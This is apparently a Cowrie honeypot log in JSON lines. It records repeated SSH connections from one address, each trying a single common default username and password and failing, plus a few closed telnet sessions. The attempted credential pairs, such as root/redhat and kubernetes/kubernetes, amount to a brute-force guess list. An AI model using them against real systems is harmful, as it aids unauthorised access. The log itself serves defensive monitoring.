{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35114,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb2ebba30e4f","protocol":"ssh","message":"New connection: 192.109.200.78:35114 (10.17.0.5:22) [session: cb2ebba30e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:33.831071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:33.837720Z","src_ip":"192.109.200.78","session":"cb2ebba30e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:33.921199Z","src_ip":"192.109.200.78","session":"cb2ebba30e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:34.169670Z","src_ip":"192.109.200.78","session":"cb2ebba30e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:35.260965Z","src_ip":"192.109.200.78","session":"cb2ebba30e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35138,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5a76e5e5b7","protocol":"ssh","message":"New connection: 192.109.200.78:35138 (10.17.0.5:22) [session: fd5a76e5e5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:37.869552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:37.873791Z","src_ip":"192.109.200.78","session":"fd5a76e5e5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:37.955964Z","src_ip":"192.109.200.78","session":"fd5a76e5e5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:38.217256Z","src_ip":"192.109.200.78","session":"fd5a76e5e5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:39.305569Z","src_ip":"192.109.200.78","session":"fd5a76e5e5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59420,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb95a9d87a27","protocol":"ssh","message":"New connection: 192.109.200.78:59420 (10.17.0.5:22) [session: fb95a9d87a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:42.016509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:42.021270Z","src_ip":"192.109.200.78","session":"fb95a9d87a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:42.104625Z","src_ip":"192.109.200.78","session":"fb95a9d87a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:42.353344Z","src_ip":"192.109.200.78","session":"fb95a9d87a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:43.438491Z","src_ip":"192.109.200.78","session":"fb95a9d87a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016577243805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:44.001801Z","src_ip":"108.7.58.254","session":"053d859565f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00205492973328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:45.218127Z","src_ip":"108.7.58.254","session":"8508930223c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59428,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d2c1e3100c","protocol":"ssh","message":"New connection: 192.109.200.78:59428 (10.17.0.5:22) [session: 12d2c1e3100c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:46.059145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:46.064920Z","src_ip":"192.109.200.78","session":"12d2c1e3100c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:46.152097Z","src_ip":"192.109.200.78","session":"12d2c1e3100c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:46.405080Z","src_ip":"192.109.200.78","session":"12d2c1e3100c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:47.494598Z","src_ip":"192.109.200.78","session":"12d2c1e3100c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40410,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d6c76a9b360","protocol":"ssh","message":"New connection: 192.109.200.78:40410 (10.17.0.5:22) [session: 8d6c76a9b360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:50.256475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:50.261111Z","src_ip":"192.109.200.78","session":"8d6c76a9b360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:50.342966Z","src_ip":"192.109.200.78","session":"8d6c76a9b360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:50.596116Z","src_ip":"192.109.200.78","session":"8d6c76a9b360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:51.684395Z","src_ip":"192.109.200.78","session":"8d6c76a9b360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"f31e3ccd43fe","protocol":"ssh","message":"New connection: 192.109.200.78:40420 (10.17.0.5:22) [session: f31e3ccd43fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:54.407700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:54.412256Z","src_ip":"192.109.200.78","session":"f31e3ccd43fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:54.501956Z","src_ip":"192.109.200.78","session":"f31e3ccd43fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:54.949593Z","src_ip":"192.109.200.78","session":"f31e3ccd43fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:56.036210Z","src_ip":"192.109.200.78","session":"f31e3ccd43fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52810,"dst_ip":"10.17.0.5","dst_port":22,"session":"84cec25b7221","protocol":"ssh","message":"New connection: 192.109.200.78:52810 (10.17.0.5:22) [session: 84cec25b7221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:58.651415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:58.655969Z","src_ip":"192.109.200.78","session":"84cec25b7221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:58.738757Z","src_ip":"192.109.200.78","session":"84cec25b7221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:31:58.988947Z","src_ip":"192.109.200.78","session":"84cec25b7221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:00.114745Z","src_ip":"192.109.200.78","session":"84cec25b7221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52832,"dst_ip":"10.17.0.5","dst_port":22,"session":"542f6c265ffb","protocol":"ssh","message":"New connection: 192.109.200.78:52832 (10.17.0.5:22) [session: 542f6c265ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:02.966533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:02.971509Z","src_ip":"192.109.200.78","session":"542f6c265ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:03.053948Z","src_ip":"192.109.200.78","session":"542f6c265ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:03.313400Z","src_ip":"192.109.200.78","session":"542f6c265ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:04.398382Z","src_ip":"192.109.200.78","session":"542f6c265ffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52838,"dst_ip":"10.17.0.5","dst_port":22,"session":"35d19c1d34dd","protocol":"ssh","message":"New connection: 192.109.200.78:52838 (10.17.0.5:22) [session: 35d19c1d34dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.006048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.012608Z","src_ip":"192.109.200.78","session":"35d19c1d34dd","protocol":"ssh"}
